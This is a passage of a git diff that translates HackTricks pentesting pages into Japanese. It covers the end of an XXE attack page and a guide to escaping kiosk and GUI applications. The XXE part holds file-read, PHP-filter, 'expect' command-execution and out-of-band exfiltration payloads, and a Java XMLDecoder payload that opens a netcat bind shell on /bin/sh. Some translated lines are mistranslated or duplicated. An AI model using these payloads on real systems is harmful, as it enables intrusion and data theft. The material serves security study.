entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)). ```markup %a;%dtd;]> - &exfil; +&exfil; ``` +DTDの例: -DTD example: +```xml + + +]> +&xxe; +``` +この例では、DTD(Document Type Definition)を使用して、外部エンティティを参照する方法を示しています。DTDは、XML文書の構造と要素の定義を指定するために使用されます。 + +上記の例では、``ディレクティブを使用して、`xxe`という名前の外部エンティティを定義しています。この外部エンティティは、`file:///etc/passwd`というパスにあるファイルを参照します。 + +そして、``要素内で`&xxe;`というエンティティを参照しています。この結果、`/etc/passwd`ファイルの内容が``要素の中に表示される可能性があります。 + +このようなXXE(XML External Entity)攻撃は、XMLパーサーが外部エンティティを解析する際に発生する脆弱性を悪用します。攻撃者は、外部エンティティを使用して機密情報を漏洩させたり、システムに対する攻撃を行ったりすることができます。 ```markup "> %abt; %exfil; ``` - -## PHP Wrappers +## PHP ラッパー ### Base64 -**Extract** _**index.php**_ - +**_index.php_** を**抽出**する ```markup ]> ``` +#### **外部リソースの抽出** -#### **Extract external resource** +##### **Description** +An XML External Entity (XXE) attack is a type of attack that targets applications that parse XML input. It occurs when an application allows an attacker to upload or include an XML file that contains a reference to an external entity. This can lead to the disclosure of internal files, remote code execution, or denial of service attacks. + +##### **攻撃手法** + +XML External Entity (XXE) 攻撃は、XML 入力を解析するアプリケーションを標的とする攻撃の一種です。攻撃者が外部エンティティへの参照を含む XML ファイルをアップロードまたはインクルードできる場合に発生します。これにより、内部ファイルの漏洩、リモートコード実行、またはサービス拒否攻撃が引き起こされる可能性があります。 + +##### **Exploitation** + +To exploit an XXE vulnerability, an attacker can craft a malicious XML file that includes a reference to an external entity. The XML file is then uploaded or included in the application. When the application parses the XML, it resolves the external entity reference, allowing the attacker to extract sensitive information from internal files. + +##### **攻撃手順** + +XXE 脆弱性を悪用するために、攻撃者は外部エンティティへの参照を含む悪意のある XML ファイルを作成します。その後、XML ファイルはアプリケーションにアップロードまたはインクルードされます。アプリケーションが XML を解析する際、外部エンティティ参照が解決され、攻撃者は内部ファイルから機密情報を抽出することができます。 + +##### **Prevention** + +To prevent XXE attacks, it is important to implement proper input validation and sanitization techniques. This includes: + +- Disabling external entity processing in XML parsers. +- Implementing a whitelist of allowed XML entities. +- Using secure XML parsers that do not resolve external entities by default. +- Regularly updating and patching XML parsing libraries. + +##### **予防策** + +XXE 攻撃を防ぐためには、適切な入力検証とサニタイズ技術の実装が重要です。以下の対策が含まれます。 + +- XML パーサーでの外部エンティティ処理の無効化。 +- 許可された XML エンティティのホワイトリストの実装。 +- デフォルトで外部エンティティを解決しない安全な XML パーサーの使用。 +- 定期的な XML パースライブラリの更新とパッチ適用。 + +##### **References** + +- [OWASP XXE Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) ```markup ]> ``` +### リモートコード実行 -### Remote code execution - -**If PHP "expect" module is loaded** - +**PHPの"expect"モジュールがロードされている場合** ```markup ]> - &xxe; - mypass +&xxe; +mypass ``` - ## **SOAP - XEE** +SOAP(Simple Object Access Protocol)は、Webサービス間での通信に使用されるプロトコルです。SOAPメッセージはXML形式で送信され、サーバーとクライアント間でデータのやり取りを行います。 + +SOAPには、XXE(XML External Entity)攻撃の脆弱性が存在します。XXE攻撃は、外部エンティティを含む悪意のあるXMLペイロードを送信することで、サーバー上のファイルの読み取りや任意のコマンドの実行などの攻撃を行います。 + +以下は、SOAPメッセージでのXXE攻撃の例です。 + +```xml + + + ]> + + + + &xxe; + + +``` + +この例では、``ディレクティブを使用して、外部エンティティ`xxe`を定義しています。`xxe`エンティティは`file:///etc/passwd`を参照しており、攻撃者はサーバー上の`/etc/passwd`ファイルの内容を取得することができます。 + +XXE攻撃を防ぐためには、以下の対策を実施する必要があります。 + +- 入力検証: 受信したXMLデータを適切に検証し、不正な外部エンティティの参照を防止します。 +- エンティティの禁止: サーバー側で外部エンティティの解析を無効化する設定を行います。 +- セキュリティアップデート: 使用しているSOAPライブラリやフレームワークの最新のセキュリティアップデートを適用します。 + +以上がSOAPメッセージでのXXE攻撃についての概要です。注意深く対策を実施することで、XXE攻撃からシステムを保護することができます。 ```markup %dtd;]>]]> ``` - ## XLIFF - XXE -This section was taken from [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\ -According to the [Wikipedia](https://en.wikipedia.org/wiki/XLIFF): +このセクションは[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)から取得されました。[Wikipedia](https://en.wikipedia.org/wiki/XLIFF)によると: -> XLIFF (XML Localization Interchange File Format) is an XML-based bitext format created to standardize the way localizable data are passed between and among tools during a localization process and a common format for CAT tool exchange. - -### Blind request +> XLIFF(XML Localization Interchange File Format)は、ローカリゼーションプロセス中にローカライズ可能なデータがツール間でやり取りされる方法を標準化し、CATツールの交換のための共通の形式を作成するために作成されたXMLベースのバイテキスト形式です。 +### 盲目的なリクエスト ```markup ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" @@ -648,17 +667,13 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` - -The server response with an error: - +サーバーからの応答はエラーです: ```javascript {"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."} ``` +しかし、Burp Collaborator でヒットしました。 -But we got a hit on Burp Collaborator. - -### Exfiltrating Data via Out of Band - +### Out of Band を使用したデータの外部への送信 ```markup ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" @@ -670,47 +685,39 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` +表示されたBurp Collaboratorによって返されたUser Agentに基づいて、それは**Java 1.8**を使用しているようです。このバージョンのJavaでXXEを悪用する際の問題の1つは、**Out of Bandテクニックを使用して`New Line`を含むファイル(例:`/etc/passwd`)を取得できない**ことです。 -Based on the displayed User Agent returned by burp collaborator, it appears that it is using **Java 1.8**. One of the problems when exploiting XXE on this version of Java is **we’re unable to obtain the files containing a `New Line`** such as `/etc/passwd` using the Out of Band technique. - -### Exfiltrating Data via Error Based - -DTD File: +### エラーベースでデータを外部流出 +DTDファイル: ```markup "> %foo; %xxe; ``` - -Server Response: - +サーバーレスポンス: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` +素晴らしい!`non-exist`ファイルはエラーメッセージに反映されます。次はファイルの内容を追加します。 -Great! The `non-exist` file is reflected in the Error messages. Next is adding the File Content. - -DTD File: - +DTDファイル: ```markup "> %foo; %xxe; ``` - -And the content of the file was successfully **printed in the output of the error sent via HTTP**. +そして、ファイルの内容はHTTP経由で送信されたエラーの出力に**正常に表示されました**。 ## RSS - XEE -Valid XML with RSS format to exploit an XXE vulnerability. +XXE脆弱性を悪用するための有効なRSS形式のXML。 -### Ping back - -Simple HTTP request to attackers server +### ピンバック +攻撃者のサーバーに対するシンプルなHTTPリクエスト ```markup @@ -731,9 +738,18 @@ Simple HTTP request to attackers server ``` +### ファイルの読み取り -### Read file +XXE(XML External Entity)攻撃は、XMLパーサーが外部エンティティを解析する際に発生する脆弱性を悪用する攻撃手法です。この攻撃を使用すると、攻撃者はサーバー上のファイルを読み取ることができます。 +以下は、XXE攻撃を使用してファイルを読み取るための一般的な手順です。 + +1. 攻撃者は、ターゲットアプリケーションに対してXMLペイロードを送信します。 +2. XMLペイロードには、外部エンティティの定義と読み取りたいファイルのパスが含まれています。 +3. ターゲットアプリケーションは、XMLをパースする際に外部エンティティを解析し、指定されたファイルを読み取ります。 +4. 攻撃者は、読み取られたファイルの内容を取得します。 + +XXE攻撃は、機密情報の漏洩やサーバーのセキュリティ侵害につながる可能性があります。したがって、開発者はXMLパーサーの設定を適切に構成し、外部エンティティの解析を無効化する必要があります。また、セキュリティテストを実施して、XXE攻撃に対する脆弱性を特定し、修正することが重要です。 ```markup @@ -754,11 +770,9 @@ Simple HTTP request to attackers server ``` +### ソースコードの読み取り -### Read source code - -Using PHP base64 filter - +PHPのbase64フィルターを使用する ```markup @@ -779,84 +793,102 @@ Using PHP base64 filter ``` - ## Java XMLDecoder XEE to RCE -XMLDecoder is a Java class that creates objects based on a XML message. If a malicious user can get an application to use arbitrary data in a call to the method **readObject**, he will instantly gain code execution on the server. - -### Using Runtime().exec() +XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを使用させ、**readObject**メソッドを呼び出すことができれば、サーバー上でコードの実行が即座に可能になります。 +### Runtime().exec()の使用 ```markup - - - - - /usr/bin/nc - - - -l - - - -p - - - 9999 - - - -e - - - /bin/sh - - - - + + + + +/usr/bin/nc + + +-l + + +-p + + +9999 + + +-e + + +/bin/sh + + + + ``` - ### ProcessBuilder +ProcessBuilderは、外部プログラムを実行するためのJavaのクラスです。このクラスを使用すると、Javaプログラムから外部プログラムを起動し、そのプログラムに引数を渡すことができます。 + +ProcessBuilderを使用すると、システムコマンドを実行したり、外部プログラムを起動したりすることができます。これは、システムのコマンドラインインターフェース(CLI)を使用して操作する必要がある場合に特に便利です。 + +以下は、ProcessBuilderを使用して外部プログラムを実行する基本的な例です。 + +```java +ProcessBuilder processBuilder = new ProcessBuilder("command", "arg1", "arg2"); +Process process = processBuilder.start(); +``` + +上記の例では、"command"は実行する外部プログラムのコマンド名であり、"arg1"と"arg2"はそのプログラムに渡す引数です。ProcessBuilderのstart()メソッドを呼び出すことで、外部プログラムが実行されます。 + +ProcessBuilderを使用する際には、セキュリティ上の注意が必要です。外部プログラムの引数にユーザーからの入力を直接渡す場合、悪意のあるユーザーによってコマンドインジェクション攻撃が行われる可能性があります。そのため、入力値の検証やエスケープ処理を行うことが重要です。 + +また、外部プログラムの出力を取得する場合は、ProcessオブジェクトのgetInputStream()メソッドを使用して取得することができます。 + +```java +InputStream inputStream = process.getInputStream(); +``` + +ProcessBuilderは、外部プログラムの実行や操作に便利な機能を提供するため、ペネトレーションテストやシステム管理などのさまざまなシナリオで活用されます。 ```markup - - - - /usr/bin/nc - - - -l - - - -p - - - 9999 - - - -e - - - /bin/sh - - - - - + + + +/usr/bin/nc + + +-l + + +-p + + +9999 + + +-e + + +/bin/sh + + + + + ``` - -## Tools +## ツール {% embed url="https://github.com/luisfontes19/xxexploiter" %} -## More resources +## その他のリソース [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\ [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\ -Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\ +独自の外部DTDを使用してHTTP経由で情報を抽出する:[https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\ [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\ [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\ [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\ @@ -867,10 +899,10 @@ Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/physical-attacks/escaping-from-gui-applications/README.md b/physical-attacks/escaping-from-gui-applications/README.md index 6c1de0062..3dbfae067 100644 --- a/physical-attacks/escaping-from-gui-applications/README.md +++ b/physical-attacks/escaping-from-gui-applications/README.md @@ -1,64 +1,64 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-# Check for possible actions inside the GUI application +# GUIアプリケーション内の可能なアクションをチェックする -**Common Dialogs** are those options of **saving a file**, **opening a file**, selecting a font, a color... Most of them will **offer a full Explorer functionality**. This means that you will be able to access Explorer functionalities if you can access these options: +**共通のダイアログ**は、**ファイルの保存**、**ファイルの開く**、フォントの選択、色の選択などのオプションです。ほとんどの場合、これらのオプションにアクセスできる場合、**完全なエクスプローラの機能**を提供します。 -* Close/Close as -* Open/Open with -* Print -* Export/Import -* Search -* Scan +これは、次のオプションにアクセスできる場合、エクスプローラの機能にアクセスできることを意味します。 -You should check if you can: +* 閉じる/閉じる +* 開く/開く +* 印刷 +* エクスポート/インポート +* 検索 +* スキャン -* Modify or create new files -* Create symbolic links -* Get access to restricted areas -* Execute other apps +次のことをチェックする必要があります: -## Command Execution +* ファイルの変更または作成 +* シンボリックリンクの作成 +* 制限された領域へのアクセス +* 他のアプリの実行 -Maybe **using a **_**Open with**_** option** you can open/execute some kind of shell. +## コマンドの実行 + +おそらく、**_**開く**_**オプションを使用して、シェルの種類を開いたり実行したりできるかもしれません。 ### Windows -For example _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ find more binaries that can be used to execute commands (and perform unexpected actions) here: [https://lolbas-project.github.io/](https://lolbas-project.github.io) +たとえば、_cmd.exe、command.com、Powershell/Powershell ISE、mmc.exe、at.exe、taskschd.msc..._ ここでコマンドを実行するために使用できる他のバイナリを見つけることができます:[https://lolbas-project.github.io/](https://lolbas-project.github.io) ### \*NIX __ -_bash, sh, zsh..._ More here: [https://gtfobins.github.io/](https://gtfobins.github.io) +_bash、sh、zsh..._ ここでコマンドを実行するために使用できる他のバイナリを見つけることができます:[https://gtfobins.github.io/](https://gtfobins.github.io) # Windows -## Bypassing path restrictions +## パス制限のバイパス -* **Environment variables**: There are a lot of environment variables that are pointing to some path -* **Other protocols**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ -* **Symbolic links** -* **Shortcuts**: CTRL+N (open new session), CTRL+R (Execute Commands), CTRL+SHIFT+ESC (Task Manager), Windows+E (open explorer), CTRL-B, CTRL-I (Favourites), CTRL-H (History), CTRL-L, CTRL-O (File/Open Dialog), CTRL-P (Print Dialog), CTRL-S (Save As) - * Hidden Administrative menu: CTRL-ALT-F8, CTRL-ESC-F9 -* **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ -* **UNC paths**: Paths to connect to shared folders. You should try to connect to the C$ of the local machine ("\\\127.0.0.1\c$\Windows\System32") - * **More UNC paths:** +* **環境変数**:いくつかのパスを指す環境変数があります +* **その他のプロトコル**:_about:、data:、ftp:、file:、mailto:、news:、res:、telnet:、view-source:_ +* **シンボリックリンク** +* **ショートカット**:CTRL+N(新しいセッションを開く)、CTRL+R(コマンドの実行)、CTRL+SHIFT+ESC(タスクマネージャー)、Windows+E(エクスプローラを開く)、CTRL-B、CTRL-I(お気に入り)、CTRL-H(履歴)、CTRL-L、CTRL-O(ファイル/開くダイアログ)、CTRL-P(印刷ダイアログ)、CTRL-S(名前を付けて保存) +* 隠し管理メニュー:CTRL-ALT-F8、CTRL-ESC-F9 +* **シェルURI**:_shell:Administrative Tools、shell:DocumentsLibrary、shell:Librariesshell:UserProfiles、shell:Personal、shell:SearchHomeFolder、shell:Systemshell:NetworkPlacesFolder、shell:SendTo、shell:UsersProfiles、shell:Common Administrative Tools、shell:MyComputerFolder、shell:InternetFolder_ +* **UNCパス**:共有フォルダに接続するためのパス。ローカルマシンのC$に接続してみてください("\\\127.0.0.1\c$\Windows\System32") +* **その他のUNCパス**: | UNC | UNC | UNC | | ------------------------- | -------------- | -------------------- | @@ -72,13 +72,13 @@ _bash, sh, zsh..._ More here: [https://gtfobins.github.io/](https://gtfobins.git | %TMP% | %USERDOMAIN% | %USERNAME% | | %USERPROFILE% | %WINDIR% | | -## Download Your Binaries +## バイナリのダウンロード -Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ -Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ -Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) +コンソール:[https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ +エクスプローラ:[https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ +レジストリエディタ:[https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) -## Accessing filesystem from the browser +## ブラウザからファイルシステムにアクセスする | PATH | PATH | PATH | PATH | | ------------------- | ----------------- | ------------------ | ------------------- | @@ -89,48 +89,49 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef | C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% | | %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% | | %HOMEDRIVE% | %HOMESHARE | |


| +## ショートカット -## ShortCuts - -* Sticky Keys – Press SHIFT 5 times +* Sticky Keys – SHIFTキーを5回押す * Mouse Keys – SHIFT+ALT+NUMLOCK * High Contrast – SHIFT+ALT+PRINTSCN -* Toggle Keys – Hold NUMLOCK for 5 seconds -* Filter Keys – Hold right SHIFT for 12 seconds -* WINDOWS+F1 – Windows Search -* WINDOWS+D – Show Desktop -* WINDOWS+E – Launch Windows Explorer -* WINDOWS+R – Run -* WINDOWS+U – Ease of Access Centre -* WINDOWS+F – Search -* SHIFT+F10 – Context Menu -* CTRL+SHIFT+ESC – Task Manager -* CTRL+ALT+DEL – Splash screen on newer Windows versions -* F1 – Help F3 – Search -* F6 – Address Bar -* F11 – Toggle full screen within Internet Explorer -* CTRL+H – Internet Explorer History -* CTRL+T – Internet Explorer – New Tab -* CTRL+N – Internet Explorer – New Page -* CTRL+O – Open File -* CTRL+S – Save CTRL+N – New RDP / Citrix +* Toggle Keys – NUMLOCKキーを5秒間押し続ける +* Filter Keys – 右SHIFTキーを12秒間押し続ける +* WINDOWS+F1 – Windows検索 +* WINDOWS+D – デスクトップを表示 +* WINDOWS+E – Windows Explorerを起動 +* WINDOWS+R – 実行 +* WINDOWS+U – アクセシビリティセンター +* WINDOWS+F – 検索 +* SHIFT+F10 – コンテキストメニュー +* CTRL+SHIFT+ESC – タスクマネージャー +* CTRL+ALT+DEL – 新しいWindowsバージョンのスプラッシュスクリーン +* F1 – ヘルプ +* F3 – 検索 +* F6 – アドレスバー +* F11 – Internet Explorer内のフルスクリーンの切り替え +* CTRL+H – Internet Explorerの履歴 +* CTRL+T – Internet Explorer – 新しいタブ +* CTRL+N – Internet Explorer – 新しいページ +* CTRL+O – ファイルを開く +* CTRL+S – 保存 +* CTRL+N – 新しいRDP / Citrix -## Swipes +## スワイプ -* Swipe from the left side to the right to see all open Windows, minimizing the KIOSK app and accessing the whole OS directly; -* Swipe from the right side to the left to open Action Center, minimizing the KIOSK app and accessing the whole OS directly; -* Swipe in from the top edge to make the title bar visible for an app opened in full screen mode; -* Swipe up from the bottom to show the taskbar in a full screen app. +* 左側から右にスワイプして、すべての開いているウィンドウを表示し、KIOSKアプリを最小化してOS全体にアクセスします。 +* 右側から左にスワイプして、アクションセンターを開き、KIOSKアプリを最小化してOS全体にアクセスします。 +* 上端からスワイプして、フルスクリーンモードで開いているアプリのタイトルバーを表示します。 +* 下から上にスワイプして、フルスクリーンアプリでタスクバーを表示します。 -## Internet Explorer Tricks +## Internet Explorerのトリック ### 'Image Toolbar' -It's a toolbar that appears on the top-left of image when it's clicked. You will be able to Save, Print, Mailto, Open "My Pictures" in Explorer. The Kiosk needs to be using Internet Explorer. +画像をクリックすると、画像の左上に表示されるツールバーです。保存、印刷、メール送信、エクスプローラーで「マイピクチャ」を開くことができます。KioskはInternet Explorerを使用する必要があります。 -### Shell Protocol +### シェルプロトコル -Type this URLs to obtain an Explorer view: +次のURLを入力してエクスプローラービューを取得します。 * `shell:Administrative Tools` * `shell:DocumentsLibrary` @@ -149,159 +150,143 @@ Type this URLs to obtain an Explorer view: * `Shell:System` * `Shell:ControlPanelFolder` * `Shell:Windows` -* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Control Panel -* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> My Computer -* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> My Network Places +* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> コントロールパネル +* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> マイコンピュータ +* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> マイネットワークプレース * `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer -# Browsers tricks +# ブラウザのトリック -Backup iKat versions: +iKatのバックアップバージョン: [http://swin.es/k/](http://swin.es/k/)\ [http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\ -Create a common dialog using JavaScript and access file explorer: `document.write('')` -Source: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 +JavaScriptを使用して共通のダイアログを作成し、ファイルエクスプローラーにアクセスします:`document.write('')` +ソース:https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 # iPad -## Gestures and bottoms +## ジェスチャーとボタン -### Swipe up with four (or five) fingers / Double-tap Home button +### 4本(または5本)の指で上にスワイプ/ホームボタンを2回タップ -To view the multitask view and change App +マルチタスクビューを表示してアプリを切り替える -### Swipe one way or another with four or five fingers +### 4本または5本の指で片方向にスワイプ -In order to change to the next/last App +次の/前のアプリに切り替えるため -### Pinch the screen with five fingers / Touch Home button / Swipe up with 1 finger from the bottom of the screen in a quick motion to the up +### 5本の指で画面をつまむ/ホームボタンをタッチ/画面の下から1本の指で上に素早くスワイプ -To access Home +ホームにアクセスするため -### Swipe one finger from the bottom of the screen just 1-2 inches (slow) +### 画面の下から1本の指で1〜2インチスワイプ(ゆっくり) -The dock will appear +ドックが表示されます -### Swipe down from the top of the display with 1 finger +### 画面の上から1本の指で下にスワイプ -To view your notifications +通知を表示するため -### Swipe down with 1 finger the top-right corner of the screen +### 画面の右上隅から1本の指で下にスワイプ -To see iPad Pro's control centre +iPad Proのコントロールセンターを表示するため -### Swipe 1 finger from the left of the screen 1-2 inches +### 画面の左から1本の指で1〜2インチスワイプ -To see Today view +今日のビューを表示するため -### Swipe fast 1 finger from the centre of the screen to the right or left +### 画面の中央から右または左に素早く1本の指でスワイプ -To change to next/last App +次の/前のアプリに切り替えるため -### Press and hold the On/**Off**/Sleep button at the upper-right corner of the **iPad +** Move the Slide to **power off** slider all the way to the right, +### 上部右隅から1本の指で画面を押し続ける/スライドを右に全体に移動する -To power off +電源を切るため -### Press the On/**Off**/Sleep button at the upper-right corner of the **iPad and the Home button for a few second** +### 上部右隅のOn/**Off**/Sleepボタンを押し続ける/スライドを右に全体に移動する -To force a hard power off +強制的に電源を切るため -### Press the On/**Off**/Sleep button at the upper-right corner of the **iPad and the Home button quickly** +### 上部右隅のOn/**Off**/Sleepボタンとホームボタンを素早く押す -To take a screenshot that will pop up in the lower left of the display. Press both buttons at the same time very briefly as if you hold them a few seconds a hard power off will be performed. +スクリーンショットを撮影し、ディスプレイの左下に表示されます。両方のボタンを同時に非常に短く押すと、数秒間押し続けるように見えますが、強制的に電源が切られます。 -## Shortcuts +## ショートカット -You should have an iPad keyboard or a USB keyboard adaptor. Only shortcuts that could help escaping from the application will be shown here. +iPadのキーボードまたはUSBキーボードアダプターが必要です。アプリケーションからの脱出に役立つショートカットのみがここに表示されます。 -| Key | Name | +| キー | 名前 | | --- | ------------ | -| ⌘ | Command | -| ⌥ | Option (Alt) | -| ⇧ | Shift | -| ↩ | Return | -| ⇥ | Tab | -| ^ | Control | -| ← | Left Arrow | -| → | Right Arrow | -| ↑ | Up Arrow | -| ↓ | Down Arrow | +| ⌘ | コマンド | +| ⌥ | オプション(Alt) | +| ⇧ | シフト | +| ↩ | リターン | +| ⇥ | タブ | +| ^ | コントロール | +| ← | 左矢印 | +| → | 右矢印 | +| ↑ | 上矢印 | +| ↓ | 下矢印 | -### System shortcuts +### システムショートカット -These shortcuts are for the visual settings and sound settings, depending on the use of the iPad. +これらのショートカットは、iPadの使用方法に応じて、ビジュアル設定とサウンド設定に使用されます。 -| Shortcut | Action | +| ショートカット | アクション | | -------- | ------------------------------------------------------------------------------ | -| F1 | Dim Sscreen | -| F2 